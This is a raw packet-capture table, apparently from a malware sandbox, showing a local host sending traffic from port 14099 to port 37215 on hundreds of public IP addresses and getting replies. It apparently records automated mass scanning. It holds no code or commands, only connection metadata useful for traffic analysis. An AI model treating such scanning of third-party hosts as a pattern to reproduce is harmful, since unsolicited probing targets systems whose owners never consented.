Dec 30, 2024 11:58:08.259663105 CET	14099	37215	192.168.2.13	156.181.91.78
Dec 30, 2024 11:58:08.259675980 CET	14099	37215	192.168.2.13	156.125.177.5
Dec 30, 2024 11:58:08.259680033 CET	14099	37215	192.168.2.13	197.235.157.88
Dec 30, 2024 11:58:08.259686947 CET	14099	37215	192.168.2.13	41.80.240.192
Dec 30, 2024 11:58:08.259706020 CET	14099	37215	192.168.2.13	197.206.63.90
Dec 30, 2024 11:58:08.259769917 CET	14099	37215	192.168.2.13	41.129.50.115
Dec 30, 2024 11:58:08.259773016 CET	14099	37215	192.168.2.13	156.123.60.116
Dec 30, 2024 11:58:08.259785891 CET	14099	37215	192.168.2.13	197.253.238.128
Dec 30, 2024 11:58:08.259814024 CET	14099	37215	192.168.2.13	41.224.35.102
Dec 30, 2024 11:58:08.259825945 CET	14099	37215	192.168.2.13	41.239.11.56
Dec 30, 2024 11:58:08.259826899 CET	14099	37215	192.168.2.13	41.12.207.118
Dec 30, 2024 11:58:08.259848118 CET	14099	37215	192.168.2.13	197.205.231.36
Dec 30, 2024 11:58:08.259865999 CET	14099	37215	192.168.2.13	156.42.86.214
Dec 30, 2024 11:58:08.259866953 CET	14099	37215	192.168.2.13	41.228.208.172
Dec 30, 2024 11:58:08.259871006 CET	14099	37215	192.168.2.13	41.41.209.70
Dec 30, 2024 11:58:08.259876013 CET	14099	37215	192.168.2.13	156.112.84.245
Dec 30, 2024 11:58:08.259881973 CET	14099	37215	192.168.2.13	197.231.81.102
Dec 30, 2024 11:58:08.259898901 CET	14099	37215	192.168.2.13	41.116.131.80
Dec 30, 2024 11:58:08.259911060 CET	14099	37215	192.168.2.13	197.189.153.121
Dec 30, 2024 11:58:08.259932995 CET	14099	37215	192.168.2.13	156.46.141.68
Dec 30, 2024 11:58:08.259933949 CET	14099	37215	192.168.2.13	41.248.47.121
Dec 30, 2024 11:58:08.259933949 CET	14099	37215	192.168.2.13	41.72.165.122
Dec 30, 2024 11:58:08.259948969 CET	14099	37215	192.168.2.13	156.100.239.248
Dec 30, 2024 11:58:08.259959936 CET	14099	37215	192.168.2.13	156.232.203.131
Dec 30, 2024 11:58:08.259959936 CET	14099	37215	192.168.2.13	197.223.124.7
Dec 30, 2024 11:58:08.259974957 CET	14099	37215	192.168.2.13	197.106.13.200
Dec 30, 2024 11:58:08.259984970 CET	14099	37215	192.168.2.13	41.81.248.45
Dec 30, 2024 11:58:08.259998083 CET	14099	37215	192.168.2.13	156.69.67.99
Dec 30, 2024 11:58:08.259998083 CET	14099	37215	192.168.2.13	156.50.127.142
Dec 30, 2024 11:58:08.260005951 CET	14099	37215	192.168.2.13	197.103.40.206
Dec 30, 2024 11:58:08.260020018 CET	14099	37215	192.168.2.13	41.193.10.195
Dec 30, 2024 11:58:08.260039091 CET	14099	37215	192.168.2.13	197.28.210.50
Dec 30, 2024 11:58:08.260039091 CET	14099	37215	192.168.2.13	156.9.158.125
Dec 30, 2024 11:58:08.260056973 CET	14099	37215	192.168.2.13	197.69.196.192
Dec 30, 2024 11:58:08.260068893 CET	14099	37215	192.168.2.13	197.219.201.38
Dec 30, 2024 11:58:08.263142109 CET	37215	14099	156.66.117.24	192.168.2.13
Dec 30, 2024 11:58:08.263155937 CET	37215	14099	197.213.129.24	192.168.2.13
Dec 30, 2024 11:58:08.263205051 CET	14099	37215	192.168.2.13	156.66.117.24
Dec 30, 2024 11:58:08.263205051 CET	14099	37215	192.168.2.13	197.213.129.24
Dec 30, 2024 11:58:08.263406038 CET	37215	14099	41.116.48.51	192.168.2.13
Dec 30, 2024 11:58:08.263417959 CET	37215	14099	156.154.160.13	192.168.2.13
Dec 30, 2024 11:58:08.263432026 CET	37215	14099	197.145.123.247	192.168.2.13
Dec 30, 2024 11:58:08.263444901 CET	37215	14099	197.10.122.150	192.168.2.13
Dec 30, 2024 11:58:08.263453960 CET	37215	14099	156.19.251.73	192.168.2.13
Dec 30, 2024 11:58:08.263463974 CET	37215	14099	41.100.232.209	192.168.2.13
Dec 30, 2024 11:58:08.263473034 CET	37215	14099	156.208.82.65	192.168.2.13
Dec 30, 2024 11:58:08.263475895 CET	14099	37215	192.168.2.13	156.154.160.13
Dec 30, 2024 11:58:08.263475895 CET	14099	37215	192.168.2.13	197.145.123.247
Dec 30, 2024 11:58:08.263475895 CET	14099	37215	192.168.2.13	197.10.122.150
Dec 30, 2024 11:58:08.263482094 CET	37215	14099	156.218.41.66	192.168.2.13
Dec 30, 2024 11:58:08.263484001 CET	14099	37215	192.168.2.13	41.116.48.51
Dec 30, 2024 11:58:08.263490915 CET	37215	14099	156.115.166.195	192.168.2.13
Dec 30, 2024 11:58:08.263500929 CET	37215	14099	41.74.205.213	192.168.2.13
Dec 30, 2024 11:58:08.263503075 CET	14099	37215	192.168.2.13	156.19.251.73
Dec 30, 2024 11:58:08.263557911 CET	14099	37215	192.168.2.13	41.100.232.209
Dec 30, 2024 11:58:08.263570070 CET	14099	37215	192.168.2.13	41.74.205.213
Dec 30, 2024 11:58:08.263573885 CET	14099	37215	192.168.2.13	156.218.41.66
Dec 30, 2024 11:58:08.263573885 CET	14099	37215	192.168.2.13	156.208.82.65
Dec 30, 2024 11:58:08.263573885 CET	14099	37215	192.168.2.13	156.115.166.195
Dec 30, 2024 11:58:08.263808966 CET	37215	14099	156.198.240.187	192.168.2.13
Dec 30, 2024 11:58:08.263849020 CET	14099	37215	192.168.2.13	156.198.240.187
Dec 30, 2024 11:58:08.263937950 CET	37215	14099	156.213.8.113	192.168.2.13
Dec 30, 2024 11:58:08.263959885 CET	37215	14099	197.127.113.212	192.168.2.13
Dec 30, 2024 11:58:08.263968945 CET	37215	14099	41.141.245.214	192.168.2.13
Dec 30, 2024 11:58:08.263982058 CET	37215	14099	156.4.47.247	192.168.2.13
Dec 30, 2024 11:58:08.263983965 CET	14099	37215	192.168.2.13	156.213.8.113
Dec 30, 2024 11:58:08.263992071 CET	14099	37215	192.168.2.13	197.127.113.212
Dec 30, 2024 11:58:08.264002085 CET	37215	14099	156.222.193.117	192.168.2.13
Dec 30, 2024 11:58:08.264007092 CET	14099	37215	192.168.2.13	41.141.245.214
Dec 30, 2024 11:58:08.264012098 CET	37215	14099	156.250.122.117	192.168.2.13
Dec 30, 2024 11:58:08.264019012 CET	14099	37215	192.168.2.13	156.4.47.247
Dec 30, 2024 11:58:08.264020920 CET	37215	14099	156.24.249.131	192.168.2.13
Dec 30, 2024 11:58:08.264030933 CET	37215	14099	197.248.84.7	192.168.2.13
Dec 30, 2024 11:58:08.264039040 CET	37215	14099	156.91.93.189	192.168.2.13
Dec 30, 2024 11:58:08.264049053 CET	14099	37215	192.168.2.13	156.222.193.117
Dec 30, 2024 11:58:08.264055014 CET	37215	14099	41.161.13.63	192.168.2.13
Dec 30, 2024 11:58:08.264058113 CET	14099	37215	192.168.2.13	156.250.122.117
Dec 30, 2024 11:58:08.264064074 CET	37215	14099	197.45.75.71	192.168.2.13
Dec 30, 2024 11:58:08.264064074 CET	14099	37215	192.168.2.13	156.24.249.131
Dec 30, 2024 11:58:08.264069080 CET	14099	37215	192.168.2.13	156.91.93.189
Dec 30, 2024 11:58:08.264070988 CET	14099	37215	192.168.2.13	197.248.84.7
Dec 30, 2024 11:58:08.264072895 CET	37215	14099	41.230.93.192	192.168.2.13
Dec 30, 2024 11:58:08.264081001 CET	14099	37215	192.168.2.13	41.161.13.63
Dec 30, 2024 11:58:08.264091969 CET	14099	37215	192.168.2.13	197.45.75.71
Dec 30, 2024 11:58:08.264111042 CET	37215	14099	41.175.28.102	192.168.2.13
Dec 30, 2024 11:58:08.264112949 CET	14099	37215	192.168.2.13	41.230.93.192
Dec 30, 2024 11:58:08.264133930 CET	37215	14099	41.6.142.82	192.168.2.13
Dec 30, 2024 11:58:08.264143944 CET	37215	14099	156.162.4.202	192.168.2.13
Dec 30, 2024 11:58:08.264149904 CET	14099	37215	192.168.2.13	41.175.28.102
Dec 30, 2024 11:58:08.264153957 CET	37215	14099	156.126.87.54	192.168.2.13
Dec 30, 2024 11:58:08.264163971 CET	37215	14099	156.71.108.54	192.168.2.13
Dec 30, 2024 11:58:08.264168978 CET	14099	37215	192.168.2.13	41.6.142.82
Dec 30, 2024 11:58:08.264172077 CET	37215	14099	197.93.214.96	192.168.2.13
Dec 30, 2024 11:58:08.264182091 CET	37215	14099	41.229.176.171	192.168.2.13
Dec 30, 2024 11:58:08.264189959 CET	14099	37215	192.168.2.13	156.126.87.54
Dec 30, 2024 11:58:08.264189959 CET	14099	37215	192.168.2.13	156.162.4.202
Dec 30, 2024 11:58:08.264190912 CET	37215	14099	41.190.138.231	192.168.2.13
Dec 30, 2024 11:58:08.264199972 CET	37215	14099	197.198.45.54	192.168.2.13
Dec 30, 2024 11:58:08.264203072 CET	14099	37215	192.168.2.13	156.71.108.54
Dec 30, 2024 11:58:08.264203072 CET	14099	37215	192.168.2.13	197.93.214.96
Dec 30, 2024 11:58:08.264209986 CET	37215	14099	197.43.82.176	192.168.2.13
Dec 30, 2024 11:58:08.264209986 CET	14099	37215	192.168.2.13	41.229.176.171
Dec 30, 2024 11:58:08.264225960 CET	37215	14099	156.220.33.161	192.168.2.13
Dec 30, 2024 11:58:08.264226913 CET	14099	37215	192.168.2.13	41.190.138.231
Dec 30, 2024 11:58:08.264233112 CET	14099	37215	192.168.2.13	197.198.45.54
Dec 30, 2024 11:58:08.264236927 CET	37215	14099	41.225.75.76	192.168.2.13
Dec 30, 2024 11:58:08.264245033 CET	37215	14099	41.190.172.111	192.168.2.13
Dec 30, 2024 11:58:08.264250994 CET	14099	37215	192.168.2.13	197.43.82.176
Dec 30, 2024 11:58:08.264255047 CET	37215	14099	156.107.172.134	192.168.2.13
Dec 30, 2024 11:58:08.264261961 CET	14099	37215	192.168.2.13	156.220.33.161
Dec 30, 2024 11:58:08.264264107 CET	14099	37215	192.168.2.13	41.225.75.76
Dec 30, 2024 11:58:08.264265060 CET	37215	14099	197.52.115.121	192.168.2.13
Dec 30, 2024 11:58:08.264276028 CET	37215	14099	156.27.27.250	192.168.2.13
Dec 30, 2024 11:58:08.264286041 CET	37215	14099	41.49.86.106	192.168.2.13
Dec 30, 2024 11:58:08.264286041 CET	14099	37215	192.168.2.13	41.190.172.111
Dec 30, 2024 11:58:08.264293909 CET	37215	14099	41.239.215.130	192.168.2.13
Dec 30, 2024 11:58:08.264297962 CET	14099	37215	192.168.2.13	156.107.172.134
Dec 30, 2024 11:58:08.264302969 CET	14099	37215	192.168.2.13	197.52.115.121
Dec 30, 2024 11:58:08.264305115 CET	37215	14099	156.174.56.203	192.168.2.13
Dec 30, 2024 11:58:08.264307976 CET	14099	37215	192.168.2.13	41.49.86.106
Dec 30, 2024 11:58:08.264314890 CET	37215	14099	41.6.233.23	192.168.2.13
Dec 30, 2024 11:58:08.264318943 CET	37215	14099	197.47.205.27	192.168.2.13
Dec 30, 2024 11:58:08.264323950 CET	37215	14099	197.223.93.160	192.168.2.13
Dec 30, 2024 11:58:08.264328003 CET	37215	14099	41.41.131.176	192.168.2.13
Dec 30, 2024 11:58:08.264328957 CET	14099	37215	192.168.2.13	156.27.27.250
Dec 30, 2024 11:58:08.264329910 CET	14099	37215	192.168.2.13	41.239.215.130
Dec 30, 2024 11:58:08.264338017 CET	37215	14099	197.177.118.14	192.168.2.13
Dec 30, 2024 11:58:08.264353037 CET	14099	37215	192.168.2.13	197.223.93.160
Dec 30, 2024 11:58:08.264358044 CET	14099	37215	192.168.2.13	41.6.233.23
Dec 30, 2024 11:58:08.264358044 CET	14099	37215	192.168.2.13	156.174.56.203
Dec 30, 2024 11:58:08.264360905 CET	14099	37215	192.168.2.13	197.47.205.27
Dec 30, 2024 11:58:08.264374018 CET	14099	37215	192.168.2.13	41.41.131.176
Dec 30, 2024 11:58:08.264379978 CET	14099	37215	192.168.2.13	197.177.118.14
Dec 30, 2024 11:58:08.264595985 CET	37215	14099	41.90.16.2	192.168.2.13
Dec 30, 2024 11:58:08.264616966 CET	37215	14099	156.35.239.23	192.168.2.13
Dec 30, 2024 11:58:08.264631033 CET	37215	14099	156.53.52.72	192.168.2.13
Dec 30, 2024 11:58:08.264641047 CET	37215	14099	41.45.201.183	192.168.2.13
Dec 30, 2024 11:58:08.264647961 CET	14099	37215	192.168.2.13	41.90.16.2
Dec 30, 2024 11:58:08.264648914 CET	37215	14099	156.142.49.103	192.168.2.13
Dec 30, 2024 11:58:08.264658928 CET	37215	14099	197.243.215.210	192.168.2.13
Dec 30, 2024 11:58:08.264659882 CET	14099	37215	192.168.2.13	156.35.239.23
Dec 30, 2024 11:58:08.264659882 CET	14099	37215	192.168.2.13	41.45.201.183
Dec 30, 2024 11:58:08.264668941 CET	37215	14099	156.85.24.210	192.168.2.13
Dec 30, 2024 11:58:08.264676094 CET	14099	37215	192.168.2.13	156.142.49.103
Dec 30, 2024 11:58:08.264678955 CET	37215	14099	156.243.189.25	192.168.2.13
Dec 30, 2024 11:58:08.264689922 CET	37215	14099	197.3.248.2	192.168.2.13
Dec 30, 2024 11:58:08.264693022 CET	14099	37215	192.168.2.13	156.53.52.72
Dec 30, 2024 11:58:08.264700890 CET	37215	14099	197.248.163.191	192.168.2.13
Dec 30, 2024 11:58:08.264708996 CET	14099	37215	192.168.2.13	197.243.215.210
Dec 30, 2024 11:58:08.264710903 CET	37215	14099	197.79.108.138	192.168.2.13
Dec 30, 2024 11:58:08.264714003 CET	14099	37215	192.168.2.13	156.243.189.25
Dec 30, 2024 11:58:08.264714956 CET	14099	37215	192.168.2.13	156.85.24.210
Dec 30, 2024 11:58:08.264720917 CET	14099	37215	192.168.2.13	197.3.248.2
Dec 30, 2024 11:58:08.264722109 CET	37215	14099	41.80.233.254	192.168.2.13
Dec 30, 2024 11:58:08.264730930 CET	37215	14099	41.169.142.29	192.168.2.13
Dec 30, 2024 11:58:08.264744043 CET	37215	14099	197.28.233.183	192.168.2.13
Dec 30, 2024 11:58:08.264744997 CET	14099	37215	192.168.2.13	197.248.163.191
Dec 30, 2024 11:58:08.264744997 CET	14099	37215	192.168.2.13	197.79.108.138
Dec 30, 2024 11:58:08.264754057 CET	37215	14099	197.150.48.165	192.168.2.13
Dec 30, 2024 11:58:08.264755964 CET	14099	37215	192.168.2.13	41.80.233.254
Dec 30, 2024 11:58:08.264759064 CET	14099	37215	192.168.2.13	41.169.142.29
Dec 30, 2024 11:58:08.264764071 CET	37215	14099	197.76.50.224	192.168.2.13
Dec 30, 2024 11:58:08.264774084 CET	37215	14099	41.43.37.240	192.168.2.13
Dec 30, 2024 11:58:08.264776945 CET	14099	37215	192.168.2.13	197.28.233.183
Dec 30, 2024 11:58:08.264777899 CET	14099	37215	192.168.2.13	197.150.48.165
Dec 30, 2024 11:58:08.264784098 CET	37215	14099	156.31.35.111	192.168.2.13
Dec 30, 2024 11:58:08.264794111 CET	37215	14099	41.93.37.249	192.168.2.13
Dec 30, 2024 11:58:08.264807940 CET	14099	37215	192.168.2.13	197.76.50.224
Dec 30, 2024 11:58:08.264807940 CET	14099	37215	192.168.2.13	41.43.37.240
Dec 30, 2024 11:58:08.264810085 CET	37215	14099	41.48.239.158	192.168.2.13
Dec 30, 2024 11:58:08.264817953 CET	14099	37215	192.168.2.13	156.31.35.111
Dec 30, 2024 11:58:08.264820099 CET	37215	14099	41.77.27.207	192.168.2.13
Dec 30, 2024 11:58:08.264828920 CET	37215	14099	197.90.239.211	192.168.2.13
Dec 30, 2024 11:58:08.264839888 CET	37215	14099	156.145.136.194	192.168.2.13
Dec 30, 2024 11:58:08.264851093 CET	37215	14099	41.89.104.82	192.168.2.13
Dec 30, 2024 11:58:08.264858961 CET	37215	14099	156.138.15.86	192.168.2.13
Dec 30, 2024 11:58:08.264863014 CET	14099	37215	192.168.2.13	156.145.136.194
Dec 30, 2024 11:58:08.264868975 CET	37215	14099	197.177.210.99	192.168.2.13
Dec 30, 2024 11:58:08.264883995 CET	37215	14099	41.228.250.198	192.168.2.13
Dec 30, 2024 11:58:08.264894009 CET	37215	14099	41.191.100.80	192.168.2.13
Dec 30, 2024 11:58:08.264899015 CET	14099	37215	192.168.2.13	197.177.210.99
Dec 30, 2024 11:58:08.264919996 CET	14099	37215	192.168.2.13	41.191.100.80
Dec 30, 2024 11:58:08.265029907 CET	37215	14099	41.105.190.52	192.168.2.13
Dec 30, 2024 11:58:08.265042067 CET	37215	14099	197.253.100.253	192.168.2.13
Dec 30, 2024 11:58:08.265050888 CET	37215	14099	197.144.208.34	192.168.2.13
Dec 30, 2024 11:58:08.265069962 CET	14099	37215	192.168.2.13	197.253.100.253
Dec 30, 2024 11:58:08.265069962 CET	14099	37215	192.168.2.13	41.105.190.52
Dec 30, 2024 11:58:08.265078068 CET	37215	14099	156.57.234.191	192.168.2.13
Dec 30, 2024 11:58:08.265090942 CET	37215	14099	156.191.178.167	192.168.2.13
Dec 30, 2024 11:58:08.265100002 CET	14099	37215	192.168.2.13	197.144.208.34
Dec 30, 2024 11:58:08.265108109 CET	37215	14099	197.119.104.157	192.168.2.13
Dec 30, 2024 11:58:08.265116930 CET	37215	14099	156.197.244.74	192.168.2.13
Dec 30, 2024 11:58:08.265121937 CET	37215	14099	197.33.251.33	192.168.2.13
Dec 30, 2024 11:58:08.265125036 CET	37215	14099	156.10.138.172	192.168.2.13
Dec 30, 2024 11:58:08.265139103 CET	37215	14099	156.0.232.213	192.168.2.13
Dec 30, 2024 11:58:08.265147924 CET	37215	14099	41.57.208.136	192.168.2.13
Dec 30, 2024 11:58:08.265150070 CET	14099	37215	192.168.2.13	156.197.244.74
Dec 30, 2024 11:58:08.265151978 CET	14099	37215	192.168.2.13	197.119.104.157
Dec 30, 2024 11:58:08.265153885 CET	14099	37215	192.168.2.13	156.10.138.172
Dec 30, 2024 11:58:08.265157938 CET	37215	14099	156.109.165.251	192.168.2.13
Dec 30, 2024 11:58:08.265168905 CET	37215	14099	41.174.8.47	192.168.2.13
Dec 30, 2024 11:58:08.265178919 CET	37215	14099	197.35.236.212	192.168.2.13
Dec 30, 2024 11:58:08.265189886 CET	37215	14099	197.153.6.73	192.168.2.13
Dec 30, 2024 11:58:08.265198946 CET	37215	14099	41.245.163.128	192.168.2.13
Dec 30, 2024 11:58:08.265207052 CET	37215	14099	41.148.153.144	192.168.2.13
Dec 30, 2024 11:58:08.265216112 CET	37215	14099	156.87.111.8	192.168.2.13
Dec 30, 2024 11:58:08.265224934 CET	14099	37215	192.168.2.13	197.153.6.73
Dec 30, 2024 11:58:08.265224934 CET	37215	14099	197.31.42.248	192.168.2.13
Dec 30, 2024 11:58:08.265225887 CET	14099	37215	192.168.2.13	41.245.163.128
Dec 30, 2024 11:58:08.265234947 CET	37215	14099	41.150.250.158	192.168.2.13
Dec 30, 2024 11:58:08.265244007 CET	37215	14099	197.95.193.215	192.168.2.13
Dec 30, 2024 11:58:08.265244961 CET	14099	37215	192.168.2.13	156.87.111.8
Dec 30, 2024 11:58:08.265254021 CET	37215	14099	197.224.155.135	192.168.2.13
Dec 30, 2024 11:58:08.265263081 CET	37215	14099	156.239.49.238	192.168.2.13
Dec 30, 2024 11:58:08.265268087 CET	14099	37215	192.168.2.13	41.150.250.158
Dec 30, 2024 11:58:08.265269995 CET	14099	37215	192.168.2.13	41.93.37.249
Dec 30, 2024 11:58:08.265271902 CET	37215	14099	156.57.20.178	192.168.2.13
Dec 30, 2024 11:58:08.265275002 CET	14099	37215	192.168.2.13	41.48.239.158
Dec 30, 2024 11:58:08.265278101 CET	14099	37215	192.168.2.13	197.95.193.215
Dec 30, 2024 11:58:08.265279055 CET	14099	37215	192.168.2.13	41.77.27.207
Dec 30, 2024 11:58:08.265281916 CET	14099	37215	192.168.2.13	197.224.155.135
Dec 30, 2024 11:58:08.265281916 CET	37215	14099	41.247.241.14	192.168.2.13
Dec 30, 2024 11:58:08.265291929 CET	14099	37215	192.168.2.13	41.89.104.82
Dec 30, 2024 11:58:08.265292883 CET	37215	14099	156.122.179.59	192.168.2.13
Dec 30, 2024 11:58:08.265296936 CET	14099	37215	192.168.2.13	156.138.15.86
Dec 30, 2024 11:58:08.265296936 CET	14099	37215	192.168.2.13	41.228.250.198
Dec 30, 2024 11:58:08.265300035 CET	14099	37215	192.168.2.13	197.90.239.211
Dec 30, 2024 11:58:08.265304089 CET	37215	14099	197.226.100.137	192.168.2.13
Dec 30, 2024 11:58:08.265312910 CET	37215	14099	41.148.173.226	192.168.2.13
Dec 30, 2024 11:58:08.265316963 CET	14099	37215	192.168.2.13	156.57.234.191
Dec 30, 2024 11:58:08.265321016 CET	14099	37215	192.168.2.13	156.191.178.167
Dec 30, 2024 11:58:08.265326977 CET	14099	37215	192.168.2.13	197.33.251.33
Dec 30, 2024 11:58:08.265335083 CET	14099	37215	192.168.2.13	156.0.232.213
Dec 30, 2024 11:58:08.265337944 CET	14099	37215	192.168.2.13	197.226.100.137
Dec 30, 2024 11:58:08.265342951 CET	14099	37215	192.168.2.13	41.148.173.226
Dec 30, 2024 11:58:08.265350103 CET	14099	37215	192.168.2.13	41.57.208.136
Dec 30, 2024 11:58:08.265350103 CET	14099	37215	192.168.2.13	156.109.165.251
Dec 30, 2024 11:58:08.265353918 CET	14099	37215	192.168.2.13	41.174.8.47
Dec 30, 2024 11:58:08.265364885 CET	14099	37215	192.168.2.13	41.148.153.144
Dec 30, 2024 11:58:08.265364885 CET	14099	37215	192.168.2.13	197.35.236.212
Dec 30, 2024 11:58:08.265372992 CET	14099	37215	192.168.2.13	156.239.49.238
Dec 30, 2024 11:58:08.265373945 CET	14099	37215	192.168.2.13	156.57.20.178
Dec 30, 2024 11:58:08.265379906 CET	14099	37215	192.168.2.13	197.31.42.248
Dec 30, 2024 11:58:08.265381098 CET	14099	37215	192.168.2.13	156.122.179.59
Dec 30, 2024 11:58:08.265384912 CET	14099	37215	192.168.2.13	41.247.241.14
Dec 30, 2024 11:58:08.265542030 CET	37215	14099	41.210.108.168	192.168.2.13
Dec 30, 2024 11:58:08.265552044 CET	37215	14099	156.249.168.197	192.168.2.13
Dec 30, 2024 11:58:08.265563011 CET	37215	14099	156.235.175.169	192.168.2.13
Dec 30, 2024 11:58:08.265573025 CET	37215	14099	156.6.167.142	192.168.2.13
Dec 30, 2024 11:58:08.265580893 CET	37215	14099	156.37.158.107	192.168.2.13
Dec 30, 2024 11:58:08.265590906 CET	37215	14099	197.21.94.66	192.168.2.13
Dec 30, 2024 11:58:08.265590906 CET	14099	37215	192.168.2.13	41.210.108.168
Dec 30, 2024 11:58:08.265590906 CET	14099	37215	192.168.2.13	156.235.175.169
Dec 30, 2024 11:58:08.265599966 CET	37215	14099	156.249.232.17	192.168.2.13
Dec 30, 2024 11:58:08.265609980 CET	14099	37215	192.168.2.13	156.249.168.197
Dec 30, 2024 11:58:08.265610933 CET	37215	14099	156.120.79.177	192.168.2.13
Dec 30, 2024 11:58:08.265614986 CET	14099	37215	192.168.2.13	156.37.158.107
Dec 30, 2024 11:58:08.265623093 CET	37215	14099	156.60.79.74	192.168.2.13
Dec 30, 2024 11:58:08.265625000 CET	14099	37215	192.168.2.13	156.6.167.142
Dec 30, 2024 11:58:08.265630007 CET	14099	37215	192.168.2.13	156.249.232.17
Dec 30, 2024 11:58:08.265630960 CET	14099	37215	192.168.2.13	197.21.94.66
Dec 30, 2024 11:58:08.265635967 CET	37215	14099	156.2.5.246	192.168.2.13
Dec 30, 2024 11:58:08.265645981 CET	14099	37215	192.168.2.13	156.120.79.177
Dec 30, 2024 11:58:08.265645981 CET	14099	37215	192.168.2.13	156.60.79.74
Dec 30, 2024 11:58:08.265677929 CET	37215	14099	197.191.64.62	192.168.2.13
Dec 30, 2024 11:58:08.265687943 CET	37215	14099	197.62.103.239	192.168.2.13
Dec 30, 2024 11:58:08.265705109 CET	37215	14099	41.136.56.49	192.168.2.13
Dec 30, 2024 11:58:08.265713930 CET	37215	14099	156.64.101.67	192.168.2.13
Dec 30, 2024 11:58:08.265722990 CET	37215	14099	156.54.127.16	192.168.2.13
Dec 30, 2024 11:58:08.265722990 CET	14099	37215	192.168.2.13	156.2.5.246
Dec 30, 2024 11:58:08.265724897 CET	14099	37215	192.168.2.13	197.62.103.239
Dec 30, 2024 11:58:08.265734911 CET	37215	14099	41.90.249.247	192.168.2.13
Dec 30, 2024 11:58:08.265738010 CET	14099	37215	192.168.2.13	197.191.64.62
Dec 30, 2024 11:58:08.265738010 CET	14099	37215	192.168.2.13	41.136.56.49
Dec 30, 2024 11:58:08.265739918 CET	14099	37215	192.168.2.13	156.64.101.67
Dec 30, 2024 11:58:08.265747070 CET	37215	14099	197.101.199.18	192.168.2.13
Dec 30, 2024 11:58:08.265757084 CET	37215	14099	41.85.61.39	192.168.2.13
Dec 30, 2024 11:58:08.265759945 CET	14099	37215	192.168.2.13	156.54.127.16
Dec 30, 2024 11:58:08.265765905 CET	37215	14099	197.160.191.181	192.168.2.13
Dec 30, 2024 11:58:08.265775919 CET	37215	14099	197.39.31.160	192.168.2.13
Dec 30, 2024 11:58:08.265780926 CET	37215	14099	156.181.91.78	192.168.2.13
Dec 30, 2024 11:58:08.265782118 CET	14099	37215	192.168.2.13	41.90.249.247
Dec 30, 2024 11:58:08.265789986 CET	14099	37215	192.168.2.13	197.101.199.18
Dec 30, 2024 11:58:08.265789986 CET	37215	14099	156.125.177.5	192.168.2.13
Dec 30, 2024 11:58:08.265800953 CET	37215	14099	197.235.157.88	192.168.2.13
Dec 30, 2024 11:58:08.265801907 CET	14099	37215	192.168.2.13	197.160.191.181
Dec 30, 2024 11:58:08.265801907 CET	14099	37215	192.168.2.13	41.85.61.39
Dec 30, 2024 11:58:08.265801907 CET	14099	37215	192.168.2.13	197.39.31.160
Dec 30, 2024 11:58:08.265810966 CET	37215	14099	41.80.240.192	192.168.2.13
Dec 30, 2024 11:58:08.265815973 CET	14099	37215	192.168.2.13	156.181.91.78
Dec 30, 2024 11:58:08.265820026 CET	37215	14099	197.206.63.90	192.168.2.13
Dec 30, 2024 11:58:08.265825033 CET	14099	37215	192.168.2.13	156.125.177.5
Dec 30, 2024 11:58:08.265830994 CET	37215	14099	41.129.50.115	192.168.2.13
Dec 30, 2024 11:58:08.265840054 CET	37215	14099	156.123.60.116	192.168.2.13
Dec 30, 2024 11:58:08.265845060 CET	37215	14099	197.253.238.128	192.168.2.13
Dec 30, 2024 11:58:08.265872955 CET	14099	37215	192.168.2.13	197.235.157.88
Dec 30, 2024 11:58:08.265878916 CET	14099	37215	192.168.2.13	41.80.240.192
Dec 30, 2024 11:58:08.265881062 CET	14099	37215	192.168.2.13	197.206.63.90
Dec 30, 2024 11:58:08.265881062 CET	14099	37215	192.168.2.13	41.129.50.115
Dec 30, 2024 11:58:08.265881062 CET	14099	37215	192.168.2.13	197.253.238.128
Dec 30, 2024 11:58:08.265882015 CET	14099	37215	192.168.2.13	156.123.60.116
Dec 30, 2024 11:58:08.265906096 CET	37215	14099	41.224.35.102	192.168.2.13
Dec 30, 2024 11:58:08.265949011 CET	14099	37215	192.168.2.13	41.224.35.102
Dec 30, 2024 11:58:08.266057014 CET	37215	14099	41.239.11.56	192.168.2.13
Dec 30, 2024 11:58:08.266068935 CET	37215	14099	41.12.207.118	192.168.2.13
Dec 30, 2024 11:58:08.266084909 CET	37215	14099	197.205.231.36	192.168.2.13
Dec 30, 2024 11:58:08.266093969 CET	37215	14099	156.42.86.214	192.168.2.13
Dec 30, 2024 11:58:08.266103983 CET	37215	14099	41.228.208.172	192.168.2.13
Dec 30, 2024 11:58:08.266103983 CET	14099	37215	192.168.2.13	41.12.207.118
Dec 30, 2024 11:58:08.266108036 CET	37215	14099	41.41.209.70	192.168.2.13
Dec 30, 2024 11:58:08.266110897 CET	14099	37215	192.168.2.13	197.205.231.36
Dec 30, 2024 11:58:08.266113043 CET	37215	14099	156.112.84.245	192.168.2.13
Dec 30, 2024 11:58:08.266113997 CET	14099	37215	192.168.2.13	41.239.11.56
Dec 30, 2024 11:58:08.266118050 CET	37215	14099	197.231.81.102	192.168.2.13
Dec 30, 2024 11:58:08.266124010 CET	37215	14099	41.116.131.80	192.168.2.13
Dec 30, 2024 11:58:08.266133070 CET	37215	14099	197.189.153.121	192.168.2.13
Dec 30, 2024 11:58:08.266143084 CET	37215	14099	156.46.141.68	192.168.2.13
Dec 30, 2024 11:58:08.266151905 CET	37215	14099	41.248.47.121	192.168.2.13
Dec 30, 2024 11:58:08.266155958 CET	14099	37215	192.168.2.13	41.116.131.80
Dec 30, 2024 11:58:08.266156912 CET	14099	37215	192.168.2.13	156.42.86.214
Dec 30, 2024 11:58:08.266159058 CET	14099	37215	192.168.2.13	197.231.81.102
Dec 30, 2024 11:58:08.266159058 CET	14099	37215	192.168.2.13	41.41.209.70
Dec 30, 2024 11:58:08.266161919 CET	37215	14099	41.72.165.122	192.168.2.13
Dec 30, 2024 11:58:08.266171932 CET	37215	14099	156.100.239.248	192.168.2.13
Dec 30, 2024 11:58:08.266175985 CET	14099	37215	192.168.2.13	41.228.208.172
Dec 30, 2024 11:58:08.266175985 CET	14099	37215	192.168.2.13	197.189.153.121
Dec 30, 2024 11:58:08.266180038 CET	14099	37215	192.168.2.13	156.112.84.245
Dec 30, 2024 11:58:08.266180992 CET	14099	37215	192.168.2.13	156.46.141.68
Dec 30, 2024 11:58:08.266181946 CET	37215	14099	156.232.203.131	192.168.2.13
Dec 30, 2024 11:58:08.266190052 CET	14099	37215	192.168.2.13	41.248.47.121
Dec 30, 2024 11:58:08.266195059 CET	37215	14099	197.106.13.200	192.168.2.13
Dec 30, 2024 11:58:08.266204119 CET	37215	14099	197.223.124.7	192.168.2.13
Dec 30, 2024 11:58:08.266213894 CET	37215	14099	41.81.248.45	192.168.2.13
